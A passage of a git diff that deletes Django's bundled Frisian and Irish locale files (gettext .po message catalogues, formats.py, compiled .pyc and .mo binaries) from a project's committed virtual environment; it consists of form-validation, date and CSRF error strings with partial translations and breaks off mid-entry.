-msgstr "" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "" - -msgid "Boolean (Either True, False or None)" -msgstr "" - -msgid "Positive integer" -msgstr "" - -msgid "Positive small integer" -msgstr "" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "" - -msgid "Small integer" -msgstr "" - -msgid "Text" -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" - -msgid "Time" -msgstr "" - -msgid "URL" -msgstr "" - -msgid "Raw binary data" -msgstr "" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "" - -msgid "Universally unique identifier" -msgstr "" - -msgid "File" -msgstr "" - -msgid "Image" -msgstr "" - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "" - -msgid "Foreign Key (type determined by related field)" -msgstr "" - -msgid "One-to-one relationship" -msgstr "" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "" - -msgid "Many-to-many relationship" -msgstr "" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr "" - -msgid "This field is required." -msgstr "Dit fjild is fereaske." - -msgid "Enter a whole number." -msgstr "Jou in folslein nûmer." - -msgid "Enter a valid date." -msgstr "Jou in falide datum." - -msgid "Enter a valid time." -msgstr "Jou in falide tiid." - -msgid "Enter a valid date/time." -msgstr "Jou in falide datum.tiid." - -msgid "Enter a valid duration." -msgstr "" - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "" - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "" -"Der is gjin bestân yntsjinne. Kontrolearje it kodearringstype op it " -"formulier." - -msgid "No file was submitted." -msgstr "Der is gjin bestân yntsjinne." - -msgid "The submitted file is empty." -msgstr "It yntsjinne bestân is leech." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -msgstr[1] "" - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "" - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"Laad in falide ôfbylding op. It bestân dy't jo opladen hawwe wie net in " -"ôfbylding of in skansearre ôfbylding." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "" -"Selektearje in falide kar. %(value)s is net ien fan de beskikbere karren." - -msgid "Enter a list of values." -msgstr "Jou in list mei weardes." - -msgid "Enter a complete value." -msgstr "" - -msgid "Enter a valid UUID." -msgstr "" - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr "" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "" - -msgid "ManagementForm data is missing or has been tampered with" -msgstr "" - -#, python-format -msgid "Please submit %d or fewer forms." -msgid_plural "Please submit %d or fewer forms." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "Please submit %d or more forms." -msgid_plural "Please submit %d or more forms." -msgstr[0] "" -msgstr[1] "" - -msgid "Order" -msgstr "Oarder" - -msgid "Delete" -msgstr "" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "" - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "" - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" - -msgid "Please correct the duplicate values below." -msgstr "" - -msgid "The inline value did not match the parent instance." -msgstr "" - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "" -"Selektearje in falide kar. Dizze kar is net ien fan de beskikbere karren." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "" - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" - -msgid "Clear" -msgstr "" - -msgid "Currently" -msgstr "" - -msgid "Change" -msgstr "" - -msgid "Unknown" -msgstr "" - -msgid "Yes" -msgstr "" - -msgid "No" -msgstr "" - -msgid "Year" -msgstr "" - -msgid "Month" -msgstr "" - -msgid "Day" -msgstr "" - -msgid "yes,no,maybe" -msgstr "" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%s KB" -msgstr "" - -#, python-format -msgid "%s MB" -msgstr "" - -#, python-format -msgid "%s GB" -msgstr "" - -#, python-format -msgid "%s TB" -msgstr "" - -#, python-format -msgid "%s PB" -msgstr "" - -msgid "p.m." -msgstr "" - -msgid "a.m." -msgstr "" - -msgid "PM" -msgstr "" - -msgid "AM" -msgstr "" - -msgid "midnight" -msgstr "" - -msgid "noon" -msgstr "" - -msgid "Monday" -msgstr "" - -msgid "Tuesday" -msgstr "" - -msgid "Wednesday" -msgstr "" - -msgid "Thursday" -msgstr "" - -msgid "Friday" -msgstr "" - -msgid "Saturday" -msgstr "" - -msgid "Sunday" -msgstr "" - -msgid "Mon" -msgstr "" - -msgid "Tue" -msgstr "" - -msgid "Wed" -msgstr "" - -msgid "Thu" -msgstr "" - -msgid "Fri" -msgstr "" - -msgid "Sat" -msgstr "" - -msgid "Sun" -msgstr "" - -msgid "January" -msgstr "" - -msgid "February" -msgstr "" - -msgid "March" -msgstr "" - -msgid "April" -msgstr "" - -msgid "May" -msgstr "" - -msgid "June" -msgstr "" - -msgid "July" -msgstr "" - -msgid "August" -msgstr "" - -msgid "September" -msgstr "" - -msgid "October" -msgstr "" - -msgid "November" -msgstr "" - -msgid "December" -msgstr "" - -msgid "jan" -msgstr "" - -msgid "feb" -msgstr "" - -msgid "mar" -msgstr "" - -msgid "apr" -msgstr "" - -msgid "may" -msgstr "" - -msgid "jun" -msgstr "" - -msgid "jul" -msgstr "" - -msgid "aug" -msgstr "" - -msgid "sep" -msgstr "" - -msgid "oct" -msgstr "" - -msgid "nov" -msgstr "" - -msgid "dec" -msgstr "" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "" - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "" - -msgctxt "abbrev. month" -msgid "March" -msgstr "" - -msgctxt "abbrev. month" -msgid "April" -msgstr "" - -msgctxt "abbrev. month" -msgid "May" -msgstr "" - -msgctxt "abbrev. month" -msgid "June" -msgstr "" - -msgctxt "abbrev. month" -msgid "July" -msgstr "" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "" - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "" - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "" - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "" - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "" - -msgctxt "alt. month" -msgid "January" -msgstr "" - -msgctxt "alt. month" -msgid "February" -msgstr "" - -msgctxt "alt. month" -msgid "March" -msgstr "" - -msgctxt "alt. month" -msgid "April" -msgstr "" - -msgctxt "alt. month" -msgid "May" -msgstr "" - -msgctxt "alt. month" -msgid "June" -msgstr "" - -msgctxt "alt. month" -msgid "July" -msgstr "" - -msgctxt "alt. month" -msgid "August" -msgstr "" - -msgctxt "alt. month" -msgid "September" -msgstr "" - -msgctxt "alt. month" -msgid "October" -msgstr "" - -msgctxt "alt. month" -msgid "November" -msgstr "" - -msgctxt "alt. month" -msgid "December" -msgstr "" - -msgid "This is not a valid IPv6 address." -msgstr "" - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "" - -msgid "or" -msgstr "" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr "" - -#, python-format -msgid "%d year" -msgid_plural "%d years" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%d month" -msgid_plural "%d months" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%d week" -msgid_plural "%d weeks" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%d day" -msgid_plural "%d days" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%d hour" -msgid_plural "%d hours" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%d minute" -msgid_plural "%d minutes" -msgstr[0] "" -msgstr[1] "" - -msgid "0 minutes" -msgstr "" - -msgid "Forbidden" -msgstr "" - -msgid "CSRF verification failed. Request aborted." -msgstr "" - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your Web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" - -msgid "More information is available with DEBUG=True." -msgstr "" - -msgid "No year specified" -msgstr "" - -msgid "Date out of range" -msgstr "" - -msgid "No month specified" -msgstr "" - -msgid "No day specified" -msgstr "" - -msgid "No week specified" -msgstr "" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "" - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "" - -msgid "Directory indexes are not allowed here." -msgstr "" - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "" - -#, python-format -msgid "Index of %(directory)s" -msgstr "" - -msgid "Django: the Web framework for perfectionists with deadlines." -msgstr "" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" - -msgid "The install worked successfully! Congratulations!" -msgstr "" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not configured any " -"URLs." -msgstr "" - -msgid "Django Documentation" -msgstr "" - -msgid "Topics, references, & how-to’s" -msgstr "" - -msgid "Tutorial: A Polling App" -msgstr "" - -msgid "Get started with Django" -msgstr "" - -msgid "Django Community" -msgstr "" - -msgid "Connect, get help, or contribute" -msgstr "" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/fy/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/fy/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/fy/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/fy/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 5ada4db9..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/fy/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/fy/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/fy/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index 7ed2d5dd..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/fy/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/fy/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/fy/formats.py deleted file mode 100644 index 3825be44..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/fy/formats.py +++ /dev/null @@ -1,21 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -# DATE_FORMAT = -# TIME_FORMAT = -# DATETIME_FORMAT = -# YEAR_MONTH_FORMAT = -# MONTH_DAY_FORMAT = -# SHORT_DATE_FORMAT = -# SHORT_DATETIME_FORMAT = -# FIRST_DAY_OF_WEEK = - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -# DATE_INPUT_FORMATS = -# TIME_INPUT_FORMATS = -# DATETIME_INPUT_FORMATS = -# DECIMAL_SEPARATOR = -# THOUSAND_SEPARATOR = -# NUMBER_GROUPING = diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ga/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/ga/LC_MESSAGES/django.mo deleted file mode 100644 index e55658a3..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/ga/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ga/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/ga/LC_MESSAGES/django.po deleted file mode 100644 index 21a1e197..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/ga/LC_MESSAGES/django.po +++ /dev/null @@ -1,1426 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Aindriú Mac Giolla Eoin, 2024 -# Claude Paroz , 2020 -# Jannis Leidel , 2011 -# John Moylan , 2013 -# John Stafford , 2013 -# Seán de Búrca , 2011 -# Luke Blaney , 2019 -# Michael Thornhill , 2011-2012,2015 -# Séamus Ó Cúile , 2011 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2024-05-22 11:46-0300\n" -"PO-Revision-Date: 2024-10-07 06:49+0000\n" -"Last-Translator: Aindriú Mac Giolla Eoin, 2024\n" -"Language-Team: Irish (http://app.transifex.com/django/django/language/ga/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: ga\n" -"Plural-Forms: nplurals=5; plural=(n==1 ? 0 : n==2 ? 1 : n<7 ? 2 : n<11 ? 3 : " -"4);\n" - -msgid "Afrikaans" -msgstr "Afracáinis" - -msgid "Arabic" -msgstr "Araibis" - -msgid "Algerian Arabic" -msgstr "Araibis na hAilgéire" - -msgid "Asturian" -msgstr "Astúiris" - -msgid "Azerbaijani" -msgstr "Asarbaiseáinis" - -msgid "Bulgarian" -msgstr "Bulgáiris" - -msgid "Belarusian" -msgstr "Bealarúisis" - -msgid "Bengali" -msgstr "Beangáilis" - -msgid "Breton" -msgstr "Briotánach" - -msgid "Bosnian" -msgstr "Boisnis" - -msgid "Catalan" -msgstr "Catalóinis" - -msgid "Central Kurdish (Sorani)" -msgstr "Coirdis Láir (Sorani)" - -msgid "Czech" -msgstr "Seicis" - -msgid "Welsh" -msgstr "Breatnais" - -msgid "Danish" -msgstr "Danmhairgis " - -msgid "German" -msgstr "Gearmáinis" - -msgid "Lower Sorbian" -msgstr "Sorbais Íochtarach" - -msgid "Greek" -msgstr "Gréigis" - -msgid "English" -msgstr "Béarla" - -msgid "Australian English" -msgstr "Béarla Astrálach" - -msgid "British English" -msgstr "Béarla na Breataine" - -msgid "Esperanto" -msgstr "Esperanto" - -msgid "Spanish" -msgstr "Spáinnis" - -msgid "Argentinian Spanish" -msgstr "Spáinnis na hAirgintíne" - -msgid "Colombian Spanish" -msgstr "Spáinnis na Colóime" - -msgid "Mexican Spanish" -msgstr "Spáinnis Mheicsiceo " - -msgid "Nicaraguan Spanish" -msgstr "Spáinnis Nicearagua" - -msgid "Venezuelan Spanish" -msgstr "Spáinnis Veiniséalach" - -msgid "Estonian" -msgstr "Eastóinis" - -msgid "Basque" -msgstr "Bascais" - -msgid "Persian" -msgstr "Peirsis" - -msgid "Finnish" -msgstr "Fionlainnis" - -msgid "French" -msgstr "Fraincis" - -msgid "Frisian" -msgstr "Freaslainnis" - -msgid "Irish" -msgstr "Gaeilge" - -msgid "Scottish Gaelic" -msgstr "Gaeilge na hAlban" - -msgid "Galician" -msgstr "Gailísis" - -msgid "Hebrew" -msgstr "Eabhrais" - -msgid "Hindi" -msgstr "Hiondúis" - -msgid "Croatian" -msgstr "Cróitis" - -msgid "Upper Sorbian" -msgstr "Sorbian Uachtarach" - -msgid "Hungarian" -msgstr "Ungáiris" - -msgid "Armenian" -msgstr "Airméinis" - -msgid "Interlingua" -msgstr "Interlingua" - -msgid "Indonesian" -msgstr "Indinéisis" - -msgid "Igbo" -msgstr "Igbo" - -msgid "Ido" -msgstr "Ido" - -msgid "Icelandic" -msgstr "Íoslainnis" - -msgid "Italian" -msgstr "Iodáilis" - -msgid "Japanese" -msgstr "Seapáinis" - -msgid "Georgian" -msgstr "Seoirsis" - -msgid "Kabyle" -msgstr "Cabaill" - -msgid "Kazakh" -msgstr "Casaicis" - -msgid "Khmer" -msgstr "Ciméiris" - -msgid "Kannada" -msgstr "Cannadais" - -msgid "Korean" -msgstr "Cóiréis" - -msgid "Kyrgyz" -msgstr "Chirgeastáin" - -msgid "Luxembourgish" -msgstr "Lucsamburgach" - -msgid "Lithuanian" -msgstr "Liotuáinis" - -msgid "Latvian" -msgstr "Laitvis" - -msgid "Macedonian" -msgstr "Macadóinis" - -msgid "Malayalam" -msgstr "Mailéalaimis" - -msgid "Mongolian" -msgstr "Mongóilis" - -msgid "Marathi" -msgstr "Maraitis" - -msgid "Malay" -msgstr "Malaeis" - -msgid "Burmese" -msgstr "Burmais" - -msgid "Norwegian Bokmål" -msgstr "Ioruais Bokmål" - -msgid "Nepali" -msgstr "Neipeailis" - -msgid "Dutch" -msgstr "Ollainnis" - -msgid "Norwegian Nynorsk" -msgstr "Ioruais Nynorsk" - -msgid "Ossetic" -msgstr "Oiséitis" - -msgid "Punjabi" -msgstr "Puinseáibis" - -msgid "Polish" -msgstr "Polainnis" - -msgid "Portuguese" -msgstr "Portaingéilis" - -msgid "Brazilian Portuguese" -msgstr "Portaingéilis na Brasaíle" - -msgid "Romanian" -msgstr "Rómáinis" - -msgid "Russian" -msgstr "Rúisis" - -msgid "Slovak" -msgstr "Slóvaicis" - -msgid "Slovenian" -msgstr "Slóivéinis" - -msgid "Albanian" -msgstr "Albáinis" - -msgid "Serbian" -msgstr "Seirbis" - -msgid "Serbian Latin" -msgstr "Seirbis (Laidineach)" - -msgid "Swedish" -msgstr "Sualainnis" - -msgid "Swahili" -msgstr "Svahaílis" - -msgid "Tamil" -msgstr "Tamailis" - -msgid "Telugu" -msgstr "Teileagúis" - -msgid "Tajik" -msgstr "Táidsíc" - -msgid "Thai" -msgstr "Téalainnis" - -msgid "Turkmen" -msgstr "Tuircméinis" - -msgid "Turkish" -msgstr "Tuircis" - -msgid "Tatar" -msgstr "Tatairis" - -msgid "Udmurt" -msgstr "Udmurt" - -msgid "Uyghur" -msgstr "Uighur" - -msgid "Ukrainian" -msgstr "Úcráinis" - -msgid "Urdu" -msgstr "Urdais" - -msgid "Uzbek" -msgstr "Úisbéicis" - -msgid "Vietnamese" -msgstr "Vítneamais" - -msgid "Simplified Chinese" -msgstr "Sínis Simplithe" - -msgid "Traditional Chinese" -msgstr "Sínis Traidisiúnta" - -msgid "Messages" -msgstr "Teachtaireachtaí" - -msgid "Site Maps" -msgstr "Léarscáileanna Suímh" - -msgid "Static Files" -msgstr "Comhaid Statach" - -msgid "Syndication" -msgstr "Sindeacáitiú" - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -msgid "…" -msgstr "…" - -msgid "That page number is not an integer" -msgstr "Ní slánuimhir í an uimhir leathanaigh sin" - -msgid "That page number is less than 1" -msgstr "Tá uimhir an leathanaigh sin níos lú ná 1" - -msgid "That page contains no results" -msgstr "Níl aon torthaí ar an leathanach sin" - -msgid "Enter a valid value." -msgstr "Iontráil luach bailí" - -msgid "Enter a valid domain name." -msgstr "Cuir isteach ainm fearainn bailí." - -msgid "Enter a valid URL." -msgstr "Iontráil URL bailí." - -msgid "Enter a valid integer." -msgstr "Cuir isteach slánuimhir bhailí." - -msgid "Enter a valid email address." -msgstr "Cuir isteach seoladh ríomhphoist bailí." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" -"Cuir isteach “sluga” bailí ar a bhfuil litreacha, uimhreacha, foscórthaí nó " -"fleiscíní." - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" -"Cuir isteach “sluga” bailí ar a bhfuil litreacha Unicode, uimhreacha, fo-" -"scóranna, nó fleiscíní." - -#, python-format -msgid "Enter a valid %(protocol)s address." -msgstr "Cuir isteach seoladh bailí %(protocol)s." - -msgid "IPv4" -msgstr "IPv4" - -msgid "IPv6" -msgstr "IPv6" - -msgid "IPv4 or IPv6" -msgstr "IPv4 nó IPv6" - -msgid "Enter only digits separated by commas." -msgstr "Ná hiontráil ach digití atá deighilte le camóga." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "" -"Cinntigh go bhfuil an luach seo %(limit_value)s (tá sé %(show_value)s)." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "" -"Cinntigh go bhfuil an luach seo níos lú ná nó cothrom le %(limit_value)s." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "" -"Cinntigh go bhfuil an luach seo níos mó ná nó cothrom le %(limit_value)s." - -#, python-format -msgid "Ensure this value is a multiple of step size %(limit_value)s." -msgstr "Cinntigh gur iolraí de chéimmhéid %(limit_value)s an luach seo." - -#, python-format -msgid "" -"Ensure this value is a multiple of step size %(limit_value)s, starting from " -"%(offset)s, e.g. %(offset)s, %(valid_value1)s, %(valid_value2)s, and so on." -msgstr "" -"Cinntigh gur iolraí de chéimmhéid %(limit_value)s an luach seo, ag tosú ó " -"%(offset)s, m.sh. %(offset)s, %(valid_value1)s, %(valid_value2)s, agus mar " -"sin de." - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Cinntigh go bhfuil ar a laghad %(limit_value)d carachtar ag an luach seo (tá " -"%(show_value)d aige)." -msgstr[1] "" -"Cinntigh go bhfuil ar a laghad %(limit_value)d carachtar ag an luach seo (tá " -"%(show_value)d aige)." -msgstr[2] "" -"Cinntigh go bhfuil ar a laghad %(limit_value)d carachtar ag an luach seo (tá " -"%(show_value)d aige)." -msgstr[3] "" -"Cinntigh go bhfuil ar a laghad %(limit_value)d carachtar ag an luach seo (tá " -"%(show_value)d aige)." -msgstr[4] "" -"Cinntigh go bhfuil ar a laghad %(limit_value)d carachtar ag an luach seo (tá " -"%(show_value)d aige)." - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Cinntigh go bhfuil %(limit_value)d carachtar ar a mhéad ag an luach seo (tá " -"%(show_value)d aige)." -msgstr[1] "" -"Cinntigh go bhfuil %(limit_value)d carachtar ar a mhéad ag an luach seo (tá " -"%(show_value)d aige)." -msgstr[2] "" -"Cinntigh go bhfuil %(limit_value)d carachtar ar a mhéad ag an luach seo (tá " -"%(show_value)d aige)." -msgstr[3] "" -"Cinntigh go bhfuil %(limit_value)d carachtar ar a mhéad ag an luach seo (tá " -"%(show_value)d aige)." -msgstr[4] "" -"Cinntigh go bhfuil %(limit_value)d carachtar ar a mhéad ag an luach seo (tá " -"%(show_value)d aige)." - -msgid "Enter a number." -msgstr "Iontráil uimhir." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "Cinntigh nach bhfuil níos mó ná %(max)s digit san iomlán." -msgstr[1] "Cinntigh nach bhfuil níos mó ná %(max)s digit san iomlán." -msgstr[2] "Cinntigh nach bhfuil níos mó ná %(max)s digit san iomlán." -msgstr[3] "Cinntigh nach bhfuil níos mó ná %(max)s digit san iomlán." -msgstr[4] "Cinntigh nach bhfuil níos mó ná %(max)s digit san iomlán." - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "Cinntigh nach bhfuil níos mó ná %(max)s ionad deachúlach ann." -msgstr[1] "Cinntigh nach bhfuil níos mó ná %(max)s de dheachúlacha ann." -msgstr[2] "Cinntigh nach bhfuil níos mó ná %(max)s de dheachúlacha ann." -msgstr[3] "Cinntigh nach bhfuil níos mó ná %(max)s de dheachúlacha ann." -msgstr[4] "Cinntigh nach bhfuil níos mó ná %(max)s de dheachúlacha ann." - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "" -"Cinntigh nach bhfuil níos mó ná %(max)s digit ann roimh an bpointe deachúil." -msgstr[1] "" -"Cinntigh nach bhfuil níos mó ná %(max)s dhigit roimh an bpointe deachúil." -msgstr[2] "" -"Cinntigh nach bhfuil níos mó ná %(max)s dhigit roimh an bpointe deachúil." -msgstr[3] "" -"Cinntigh nach bhfuil níos mó ná %(max)s dhigit roimh an bpointe deachúil." -msgstr[4] "" -"Cinntigh nach bhfuil níos mó ná %(max)s dhigit roimh an bpointe deachúil." - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" -"Ní cheadaítear iarmhír chomhaid “%(extension)s”. Is iad seo a leanas " -"eisínteachtaí ceadaithe: %(allowed_extensions)s." - -msgid "Null characters are not allowed." -msgstr "Ní cheadaítear carachtair null." - -msgid "and" -msgstr "agus" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "Tá %(model_name)s leis an %(field_labels)s seo ann cheana." - -#, python-format -msgid "Constraint “%(name)s” is violated." -msgstr "Tá srian “%(name)s” sáraithe." - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "Ní rogha bhailí é luach %(value)r." - -msgid "This field cannot be null." -msgstr "Ní cheadaítear luach nialasach sa réimse seo." - -msgid "This field cannot be blank." -msgstr "Ní cheadaítear luach nialasach sa réimse seo." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "Tá %(model_name)s leis an %(field_label)s seo ann cheana." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or -#. 'month'. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" -"Caithfidh %(field_label)s a bheith uathúil le haghaidh %(date_field_label)s " -"%(lookup_type)s." - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "Réimse de Cineál: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "Caithfidh luach “%(value)s” a bheith Fíor nó Bréagach." - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "Caithfidh luach “%(value)s” a bheith Fíor, Bréagach, nó Neamhní." - -msgid "Boolean (Either True or False)" -msgstr "Boole" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "Teaghrán (suas go %(max_length)s)" - -msgid "String (unlimited)" -msgstr "Teaghrán (gan teorainn)" - -msgid "Comma-separated integers" -msgstr "Slánuimhireacha camóg-scartha" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" -"Tá formáid dáta neamhbhailí ag luach “%(value)s”. Caithfidh sé a bheith i " -"bhformáid BBBB-MM-LL." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" -"Tá an fhormáid cheart ag luach “%(value)s” (BBBB-MM-DD) ach is dáta " -"neamhbhailí é." - -msgid "Date (without time)" -msgstr "Dáta (gan am)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" -"Tá formáid neamhbhailí ag luach “%(value)s”. Caithfidh sé a bheith san " -"fhormáid BBBB-MM-DD HH:MM[:ss[.uuuuuu]][TZ]." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" -"Tá an fhormáid cheart ag luach “%(value)s” (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) ach is dáta/am neamhbhailí é." - -msgid "Date (with time)" -msgstr "Dáta (le am)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "Caithfidh luach “%(value)s” a bheith ina uimhir dheachúil." - -msgid "Decimal number" -msgstr "Uimhir deachúlach" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" -"Tá formáid neamhbhailí ag luach “%(value)s”. Caithfidh sé a bheith i " -"bhformáid [DD] [[HH:]MM:]ss[.uuuuuu]." - -msgid "Duration" -msgstr "Fad" - -msgid "Email address" -msgstr "R-phost" - -msgid "File path" -msgstr "Conair comhaid" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr 